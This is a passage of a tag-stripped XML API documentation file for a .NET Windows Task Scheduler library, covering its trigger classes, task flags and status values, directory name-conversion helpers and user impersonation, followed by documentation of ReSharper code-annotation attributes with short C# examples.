days in the schedule. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a system event occurs. Only available for Task Scheduler 2.0 on Windows Vista or + Windows Server 2003 and later. + + The EventTrigger runs when a system event fires. + + + "; + eTrigger.ValueQueries.Add("Name", "Value"); + ]]> + + + + + Creates an unbound instance of a . + + + Initializes an unbound instance of the class and sets a basic event. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the XPath query string that identifies the event that fires the trigger. + + + + Gets a collection of named XPath queries. Each query in the collection is applied to the last matching event XML returned from + the subscription query specified in the Subscription property. The name of the query can be used as a variable in the message of + a action. + + + + Builds an event log XML query string based on the input parameters. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + XML query string. + log + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets basic event information. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + true if subscription represents a basic event, false if not. + + + + Sets the subscription for a basic event. This will replace the contents of the property and clear all + entries in the property. + + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when the computer goes into an idle state. For information about idle conditions, see Task + Idle Conditions. + + + An IdleTrigger will fire when the system becomes idle. It is generally a good practice to set a limit on how long it can run using + the ExecutionTimeLimit property. + + + + + + + + + Creates an unbound instance of a . + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a user logs on. When the Task Scheduler service starts, all logged-on users are + enumerated and any tasks registered with logon triggers that match the logged on user are run. Not available on Task Scheduler 1.0. + + + A LogonTrigger will fire after a user logs on. It can only be delayed. Under V2, you can specify which user it applies to. + + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + + Gets or sets The identifier of the user. For example, "MyDomain\MyName" or for a local account, "Administrator". + This property can be in one of the following formats: + • User name or SID: The task is started when the user logs on to the computer. + • NULL: The task is started when any user logs on to the computer. + + + If you want a task to be triggered when any member of a group logs on to the computer rather than when a specific user logs on, + then do not assign a value to the LogonTrigger.UserId property. Instead, create a logon trigger with an empty + LogonTrigger.UserId property and assign a value to the principal for the task using the Principal.GroupId property. + + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task on a monthly day-of-week schedule. For example, the task starts on every first Thursday, May + through October. + + + + Creates an unbound instance of a . + The days of the week. + The months of the year. + The weeks of the month. + + + Gets or sets the days of the week during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last week of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets the weeks of the month during which the task runs. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + + Represents a trigger that starts a job based on a monthly schedule. For example, the task starts on specific days of specific months. + + + + Creates an unbound instance of a . + + The day of the month. This must be a value between 1 and 32. If this value is set to 32, then the value will be set and no days will be added regardless of the month. + + The months of the year. + + + Gets or sets the days of the month during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last day of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Converts an array of bit indices into a mask with bits turned ON at every index contained in the array. Indices must be from 1 + to 32 and bits are numbered the same. + + An array with an element for each bit of the mask which is ON. + An integer to be interpreted as a mask. + + + Compares two collections. + Item type of collections. + The first collection. + The second collection + true if the collections values are equal; false otherwise. + + + + Convert an integer representing a mask to an array where each element contains the index of a bit that is ON in the mask. Bits + are considered to number from 1 to 32. + + An integer to be interpreted as a mask. + An array with an element for each bit of the mask which is ON. + + + Reads the subclass XML for V1 streams. + The reader. + + + + Represents a trigger that starts a task when the task is registered or updated. Not available on Task Scheduler 1.0. Only + available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + The RegistrationTrigger will fire after the task is registered (saved). It is advisable to put in a delay. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Defines how often the task is run and how long the repetition pattern is repeated after the task is started. + This can be used directly or by assignment for a . + + + + + + + + Initializes a new instance of the class. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, + the pattern is repeated indefinitely. + + + If set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + + Occurs when a property value changes. + + + Gets or sets how long the pattern is repeated. + + The duration that the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the + pattern is repeated indefinitely. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + + Gets or sets the amount of time between each restart of the task. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + + + Gets or sets a Boolean value that indicates if a running instance of the task is stopped at the end of repetition pattern duration. + + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Determines whether any properties for this have been set. + true if properties have been set; otherwise, false. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Triggers tasks for console connect or disconnect, remote connect or disconnect, or workstation lock or unlock notifications. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + + The SessionStateChangeTrigger will fire after six different system events: connecting or disconnecting locally or remotely, or + locking or unlocking the session. + + + + + + + + + Creates an unbound instance of a . + + + Initializes a new instance of the class. + The state change. + The user identifier. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the kind of Terminal Server session change that would trigger a task launch. + + + + Gets or sets the user for the Terminal Server session. When a session state change is detected for this user, a task is started. + + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Returns a value indicating if the StateChange property has been set. + StateChange property has been set. + + + Represents a trigger that starts a task at a specific date and time. + A TimeTrigger runs at a specified date and time. + + + + + + + + Creates an unbound instance of a . + + + Creates an unbound instance of a and assigns the execution time. + Date and time for the trigger to fire. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a weekly schedule. For example, the task starts at 8:00 A.M. on a specific day of + the week every week or every other week. + + A WeeklyTrigger runs at a specified time on specified days of the week every week or interval of weeks. + + + + + + + + Creates an unbound instance of a . + The days of the week. + The interval between the weeks in the schedule. + + + Gets or sets the days of the week on which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets the interval between the weeks in the schedule. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + Provides the methods that are used to add to, remove from, and get the triggers of a task. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets the number of triggers in the collection. + + + Gets or sets a specified trigger from the collection. + The . + The id ( ) of the trigger to be retrieved. + Specialized instance. + + + + Mismatching Id for trigger and lookup. + + + Gets a specified trigger from the collection. + The index of the trigger to be retrieved. + Specialized instance. + + + Add an unbound to the task. + A type derived from . + derivative to add to the task. + Bound trigger. + unboundTrigger is null. + + + Add a new trigger to the collections of triggers for the task. + The type of trigger to create. + A instance of the specified type. + + + Adds a collection of unbound triggers to the end of the . + + The triggers to be added to the end of the . The collection itself cannot be null and + cannot contain null elements. + + is null. + + + Clears all triggers from the task. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Determines whether the specified trigger type is contained in this collection. + Type of the trigger. + true if the specified trigger type is contained in this collection; otherwise, false. + + + + Copies the elements of the to an , starting at a particular index. + + + The one-dimensional that is the destination of the elements copied from . The + must have zero-based indexing. + + The zero-based index in at which copying begins. + + + + Copies the elements of the to a array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first + occurrence within the entire collection. + + + The delegate that defines the conditions of the to search for. + + + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Gets the collection enumerator for this collection. + The for this collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Determines the index of a specific item in the . + The id ( ) of the trigger to be retrieved. + The index of if found in the list; otherwise, -1. + + + Inserts an trigger at the specified index. + The zero-based index at which trigger should be inserted. + The trigger to insert into the list. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Removes the trigger at a specified index. + Index of trigger to remove. + Index out of range. + + + Copies the elements of the to a new array. + An array containing copies of the elements of the . + + + Returns a that represents the triggers in this collection. + A that represents the triggers in this collection. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Releases all resources used by this class. + + + Represents a system account. + + + Initializes a new instance of the class. + + Name of the user. This can be in the format DOMAIN\username or username@domain.com or username or + null (for current user). + + + + Initializes a new instance of the class. + The . + + + Gets the current user. + The current user. + + + Gets the identity. + The identity. + + + Gets a value indicating whether this instance is in an administrator role. + true if this instance is an admin; otherwise, false. + + + Gets a value indicating whether this instance is the interactive user. + true if this instance is the current user; otherwise, false. + + + Gets a value indicating whether this instance is a service account. + true if this instance is a service account; otherwise, false. + + + Gets a value indicating whether this instance is the SYSTEM account. + true if this instance is the SYSTEM account; otherwise, false. + + + Gets the SID string. + The SID string. + + + Gets the NT name (DOMAIN\username). + The name of the user. + + + Create a instance from a SID string. + The SID string. + A instance. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + Options for a task, used for the Flags property of a Task. Uses the + "Flags" attribute, so these values are combined with |. + Some flags are documented as Windows 95 only, but they have a + user interface in Windows XP so that may not be true. + + + + + The interactive flag is set if the task is intended to be displayed to the user. + If the flag is not set, no user interface associated with the task is presented + to the user when the task is executed. + + + + + The task will be deleted when there are no more scheduled run times. + + + + + The task is disabled. This is useful to temporarily prevent a task from running + at the scheduled time(s). + + + + + The task begins only if the computer is not in use at the scheduled start time. Windows 95 only. + + + + + The task terminates if the computer makes an idle to non-idle transition while the task is running. + The computer is not considered idle until the IdleWait triggers' time elapses with no user input. + Windows 95 only. For information regarding idle triggers, see . + + + + + The task does not start if its target computer is running on battery power. Windows 95 only. + + + + + The task ends, and the associated application quits if the task's target computer switches + to battery power. Windows 95 only. + + + + + The task runs only if the system is docked. Windows 95 only. + + + + + The work item created will be hidden. + + + + + The task runs only if there is currently a valid Internet connection. + This feature is currently not implemented. + + + + + The task starts again if the computer makes a non-idle to idle transition before all the + task's task_triggers elapse. (Use this flag in conjunction with KillOnIdleEnd.) Windows 95 only. + + + + + The task runs only if the SYSTEM account is available. + + + + + The task runs only if the user specified in SetAccountInformation is logged on interactively. + This flag has no effect on work items set to run in the local account. + + + + + Status values returned for a task. Some values have been determined to occur although + they do no appear in the Task Scheduler system documentation. + + + + The task is ready to run at its next scheduled time. + + + The task is currently running. + + + One or more of the properties that are needed to run this task on a schedule have not been set. + + + The task has not yet run. + + + The task will not run at the scheduled times because it has been disabled. + + + There are no more runs scheduled for this task. + + + The last run of the task was terminated by the user. + + + Either the task has no triggers or the existing triggers are disabled or not set. + + + Event triggers don't have set run times. + + + Valid types of triggers + + + Trigger is set to run the task a single time. + + + Trigger is set to run the task on a daily interval. + + + Trigger is set to run the work item on specific days of a specific week of a specific month. + + + Trigger is set to run the task on a specific day(s) of the month. + + + Trigger is set to run the task on specific days, weeks, and months. + + + Trigger is set to run the task if the system remains idle for the amount of time specified by the idle wait time of the task. + + + Trigger is set to run the task at system startup. + + + Trigger is set to run the task when a user logs on. + + + + Represents a wildcard running on the + engine. + + + + + Initializes a wildcard with the given search pattern and options. + + The wildcard pattern to match. + A combination of one or more . + + + + Converts a wildcard to a regular expression. + + The wildcard pattern to convert. + A regular expression equivalent of the given wildcard. + + + + The GlobalLock function locks a global memory object and returns a pointer to the first byte of the object's memory block. + GlobalLock function increments the lock count by one. + Needed for the clipboard functions when getting the data from IDataObject + + + + + + + The GlobalUnlock function decrements the lock count associated with a memory object. + + + + + + + Defines the errors returned by the status member of the DS_NAME_RESULT_ITEM structure. These are potential errors that may be encountered while a name is converted by the DsCrackNames function. + + + + The conversion was successful. + + + Generic processing error occurred. + + + The name cannot be found or the caller does not have permission to access the name. + + + The input name is mapped to more than one output name or the desired format did not have a single, unique value for the object found. + + + The input name was found, but the associated output format cannot be found. This can occur if the object does not have all the required attributes. + + + Unable to resolve entire name, but was able to determine in which domain object resides. The caller is expected to retry the call at a domain controller for the specified domain. The entire name cannot be resolved, but the domain that the object resides in could be determined. The pDomain member of the DS_NAME_RESULT_ITEM contains valid data when this error is specified. + + + A syntactical mapping cannot be performed on the client without transmitting over the network. + + + The name is from an external trusted forest. + + + + Used to define how the name syntax will be cracked. These flags are used by the DsCrackNames function. + + + + Indicate that there are no associated flags. + + + Perform a syntactical mapping at the client without transferring over the network. The only syntactic mapping supported is from DS_FQDN_1779_NAME to DS_CANONICAL_NAME or DS_CANONICAL_NAME_EX. + + + Force a trip to the DC for evaluation, even if this could be locally cracked syntactically. + + + The call fails if the domain controller is not a global catalog server. + + + Enable cross forest trust referral. + + + + Provides formats to use for input and output names for the DsCrackNames function. + + + + Indicates the name is using an unknown name type. This format can impact performance because it forces the server to attempt to match all possible formats. Only use this value if the input format is unknown. + + + Indicates that the fully qualified distinguished name is used. For example: "CN = someone, OU = Users, DC = Engineering, DC = Fabrikam, DC = Com" + + + Indicates a Windows NT 4.0 account name. For example: "Engineering\someone" The domain-only version includes two trailing backslashes (\\). + + + Indicates a user-friendly display name, for example, Jeff Smith. The display name is not necessarily the same as relative distinguished name (RDN). + + + Indicates a GUID string that the IIDFromString function returns. For example: "{4fa050f0-f561-11cf-bdd9-00aa003a77b6}" + + + Indicates a complete canonical name. For example: "engineering.fabrikam.com/software/someone" The domain-only version includes a trailing forward slash (/). + + + Indicates that it is using the user principal name (UPN). For example: "someone@engineering.fabrikam.com" + + + This element is the same as DS_CANONICAL_NAME except that the rightmost forward slash (/) is replaced with a newline character (\n), even in a domain-only case. For example: "engineering.fabrikam.com/software\nsomeone" + + + Indicates it is using a generalized service principal name. For example: "www/www.fabrikam.com@fabrikam.com" + + + Indicates a Security Identifier (SID) for the object. This can be either the current SID or a SID from the object SID history. The SID string can use either the standard string representation of a SID, or one of the string constants defined in Sddl.h. For more information about converting a binary SID into a SID string, see SID Strings. The following is an example of a SID string: "S-1-5-21-397955417-626881126-188441444-501" + + + + Class that provides methods against a AD domain service. + + + + + + Initializes a new instance of the class. + + Name of the domain controller. + Name of the DNS domain. + + + + + Converts a directory service object name from any format to the UPN. + + The name to convert. + The corresponding UPN. + Unable to resolve user name. + + + + Converts an array of directory service object names from one format to another. Name conversion enables client applications to map between the multiple names used to identify various directory service objects. + + The names to convert. + Values used to determine how the name syntax will be cracked. + Format of the input names. + Desired format for the output names. + An array of DS_NAME_RESULT_ITEM structures. Each element of this array represents a single converted name. + + + + Impersonation of a user. Allows to execute code under another + user context. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + + + + Constructor. Starts the impersonation with the given credentials. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + The name of the user to act as. + The domain name of the user to act as. + The password of the user to act as. + + + + Indicates that the value of the marked element could be null sometimes, + so the check for null is necessary before its usage. + + + [CanBeNull] object Test() => null; + + void UseTest() { + var p = Test(); + var s = p.ToString(); // Warning: Possible 'System.NullReferenceException' + } + + + + + Indicates that the value of the marked element could never be null. + + + [NotNull] object Foo() { + return null; // Warning: Possible 'null' assignment + } + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can never be null. + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can be null. + + + + + Indicates that the marked method builds string by format pattern and (optional) arguments. + Parameter, which contains format string, should be given in constructor. The format string + should be in -like form. + + + [StringFormatMethod("message")] + void ShowError(string message, params object[] args) { /* do something */ } + + void Foo() { + ShowError("Failed: {0}"); // Warning: Non-existing argument in format string + } + + + + + Specifies which parameter of an annotated method should be treated as format-string + + + + + For a parameter that is expected to be one of the limited set of values. + Specify fields of which type should be used as values for this parameter. + + + + + Indicates that the function argument should be string literal and match one + of the parameters of the caller function. For example, ReSharper annotates + the parameter of . + + + void Foo(string param) { + if (param == null) + throw new ArgumentNullException("par"); // Warning: Cannot resolve symbol + } + + + + + Indicates that the method is contained in a type that implements + System.ComponentModel.INotifyPropertyChanged interface and this method + is used to notify that some property value changed. + + + The method should be non-static and conform to one of the supported signatures: + + NotifyChanged(string) + NotifyChanged(params string[]) + NotifyChanged{T}(Expression{Func{T}}) + NotifyChanged{T,U}(Expression{Func{T,U}}) + SetProperty{T}(ref T, T, string) + + + + public class Foo : INotifyPropertyChanged { + public event PropertyChangedEventHandler PropertyChanged; + + [NotifyPropertyChangedInvocator] + protected virtual void NotifyChanged(string propertyName) { ... } + + string _name; + + public string Name { + get { return _name; } + set { _name = value; NotifyChanged("LastName"); /* Warning */ } + } + } + + Examples of generated notifications: + + NotifyChanged("Property") + NotifyChanged(() => Property) + NotifyChanged((VM x) => x.Property) + SetProperty(ref myField, value, "Property") + + + + + + Describes dependency between method input and output. + + +

Function Definition Table syntax:

+ + FDT ::= FDTRow [;FDTRow]* + FDTRow ::= Input => Output | Output <= Input + Input ::= ParameterName: Value [, Input]* + Output ::= [ParameterName: Value]* {halt|stop|void|nothing|Value} + Value ::= true | false | null | notnull | canbenull + + If method has single input parameter, it's name could be omitted.
+ Using halt (or void/nothing, which is the same) for method output + means that the methos doesn't return normally (throws or terminates the process).
+ Value canbenull is only applicable for output parameters.
+ You can use multiple [ContractAnnotation] for each FDT row, or use single attribute + with rows separated by semicolon. There is no notion of order rows, all rows are checked + for applicability and applied per each program state tracked by R# analysis.
+
+ + + [ContractAnnotation("=> halt")] + public void TerminationMethod() + + + [ContractAnnotation("halt <= condition: false")] + public void Assert(bool condition, string text) // regular assertion method + + + [ContractAnnotation("s:null => true")] + public bool IsNullOrEmpty(string s) // string.IsNullOrEmpty() + + + // A method that returns null if the parameter is null, + // and not null if the parameter is not null + [ContractAnnotation("null => null; notnull => notnull")] + public object Transform(object data) + + + [ContractAnnotation("=> true, result: notnull; => false, result: null")] + public bool TryParse(string s, out Person result) + + +
+ + + Indicates that marked element should be localized or not. + + + [LocalizationRequiredAttribute(true)] + class Foo { + string str = "my string"; // Warning: Localizable string + } + + + + + Indicates that the value of the marked type (or its derivatives) + cannot be compared using '==' or '!=' operators and Equals() + should be used instead. However, using '==' or '!=' for comparison + with null is always permitted. + + + [CannotApplyEqualityOperator] + class NoEquality { } + + class UsesNoEquality { + void Test() { + var ca1 = new NoEquality(); + var ca2 = new NoEquality(); + if (ca1 != null) { // OK + bool condition = ca1 == ca2; // Warning + } + } + } + + + + + When applied to a target attribute, specifies a requirement for any type marked + with the target attribute to implement or inherit specific type or types. + + + [BaseTypeRequired(typeof(IComponent)] // Specify requirement + class ComponentAttribute : Attribute { } + + [Component] // ComponentAttribute requires implementing IComponent interface + class MyComponent : IComponent { } + + + + + Indicates that the marked symbol is used implicitly (e.g. via reflection, in external library), + so this symbol will not be marked as unused (as well as by other usage inspections). + + + + + Should be used on attributes and causes ReSharper to not mark symbols marked with such attributes + as unused (as well as by other usage inspections) + + + + Only entity marked with attribute considered used. + + + Indicates implicit assignment to a member. + + + + Indicates implicit instantiation of a type with fixed constructor signature. + That means any unused constructor parameters won't be reported as such. + + + + Indicates implicit instantiation of a type. + + + + Specify what is considered used implicitly when marked + with or . + + + + Members of entity marked with attribute are considered used. + + + Entity marked with attribute and all its members considered used. + + + + This attribute is intended to mark publicly available API + which should not be removed and so is treated as used. + + + + + Tells code analysis engine if the parameter is completely handled when the invoked method is on stack. + If the parameter is a delegate, indicates that delegate is executed while the method is executed. + If the parameter is an enumerable, indicates that it is enumerated while the method is executed. + + + + + Indicates that a method does not make any observable state changes. + The same as System.Diagnostics.Contracts.PureAttribute. + + + [Pure] int Multiply(int x, int y) => x * y; + + void M() { + Multiply(123, 42); // Waring: Return value of pure method is not used + } + + + + + Indicates that the return value of method invocation must be used. + + + + + Indicates the type member or parameter of some type, that should be used instead of all other ways + to get the value that type. This annotation is useful when you have some "context" value evaluated + and stored somewhere, meaning that all other ways to get this value must be consolidated with existing one. + + + class Foo { + [ProvidesContext] IBarService _barService = ...; + + void ProcessNode(INode node) { + DoSomething(node, node.GetGlobalServices().Bar); + // ^ Warning: use value of '_barService' field + } + } + + + + + Indicates that a parameter is a path to a file or a folder within a web project. + Path can be relative or absolute, starting from web root (~). + + + + + An extension method marked with this attribute is processed by ReSharper code completion + as a 'Source Template'. When extension method is completed over some expression, it's source code + is automatically expanded like a template at call site. + + + Template method body can contain valid source code and/or special comments starting with '$'. + Text inside these comments is added as source code when the template is applied. Template parameters + can be used either as additional method parameters or as identifiers wrapped in two '$' signs. + Use the attribute to specify macros for parameters. + + + In this example, the 'forEach' method is a source template available over all values + of enumerable types, producing ordinary C# 'foreach' statement and placing caret inside block: + + [SourceTemplate] + public static void forEach<T>(this IEnumerable<T> xs) { + foreach (var x in xs) { + //$ $END$ + } + } + + + + + + Allows specifying a macro for a parameter of a source template. + + + You can apply the attribute on the whole method or on any of its additional parameters. The macro expression + is defined in the property. When applied on a method, the target + template parameter is defined in the property. To apply the macro silently + for the parameter, set the property value = -1. + + + Applying the attribute on a source template method: + + [SourceTemplate, Macro(Target = "item", Expression = "suggestVariableName()")] + public static void forEach<T>(this IEnumerable<T> collection) { + foreach (var item in collection) { + //$ $END$ + } + } + + Applying the attribute on a template method parameter: + + [SourceTemplate] + public static void something(this Entity x, [Macro(Expression = "guid()", Editable = -1)] string newguid) { + /*$ var $x$Id = "$newguid$" + x.ToString(); + x.DoSomething($x$Id); */ + } + + + + + + Allows specifying a macro that will be executed for a source template + parameter when the template is expanded. + + + + + Allows specifying which occurrence of the target parameter becomes editable when the template is deployed. + + + If the target parameter is used several times in the template, only one occurrence becomes editable; + other occurrences are changed synchronously. To specify the zero-based index of the editable occurrence, + use values >= 0. To make the parameter non-editable when the template is expanded, use -1. + > + + + + Identifies the target parameter of a source template if the + is applied on a template method. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC action. If applied to a method, the MVC action name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC area. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is + an MVC controller. If applied to a method, the MVC controller name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC Master. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC model type. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is an MVC + partial view. If applied to a method, the MVC partial view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.RenderPartialExtensions.RenderPartial(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Allows disabling inspections for MVC views within a class or a method. + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC display template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.DisplayExtensions.DisplayForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC editor template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.EditorExtensions.EditorForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC template. + Use this attribute for custom wrappers similar to + System.ComponentModel.DataAnnotations.UIHintAttribute(System.String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component. If applied to a method, the MVC view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Controller.View(Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component name. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component view. If applied to a method, the MVC view component view name is default. + + + + + ASP.NET MVC attribute. When applied to a parameter of an attribute, + indicates that this parameter is an MVC action name. + + + [ActionName("Foo")] + public ActionResult Login(string returnUrl) { + ViewBag.ReturnUrl = Url.Action("Foo"); // OK + return RedirectToAction("Bar"); // Error: Cannot resolve action + } + + + + + Razor attribute. Indicates that a parameter or a method is a Razor section. + Use this attribute for custom wrappers similar to + System.Web.WebPages.WebPageBase.RenderSection(String). + + + + + Indicates how method, constructor invocation or property access + over collection type affects content of the collection. + + + + Method does not use or modify content of the collection. + + + Method only reads content of the collection but does not modify it. + + + Method can change content of the collection but does not add new elements. + + + Method can add new elements to the collection. + + + + Indicates that the marked method is assertion method, i.e. it halts control flow if + one of the conditions is satisfied. To set the condition, mark one of the parameters with + attribute. + + + + + Indicates the condition parameter of the assertion method. The method itself should be + marked by attribute. The mandatory argument of + the attribute is the assertion type. + + + + + Specifies assertion type. If the assertion method argument satisfies the condition, + then the execution continues. Otherwise, execution is assumed to be halted. + + + + Marked parameter should be evaluated to true. + + + Marked parameter should be evaluated to false. + + + Marked parameter should be evaluated to null value. + + + Marked parameter should be evaluated to not null value. + + + + Indicates that the marked method unconditionally terminates control flow execution. + For example, it could unconditionally throw exception. + + + + + Indicates that method is pure LINQ method, with postponed enumeration (like Enumerable.Select, + .Where). This annotation allows inference of [InstantHandle] annotation for parameters + of delegate type by analyzing LINQ method chains. + + + + + Indicates that IEnumerable, passed as parameter, is not enumerated. + + + + + Indicates that parameter is regular expression pattern. + + + 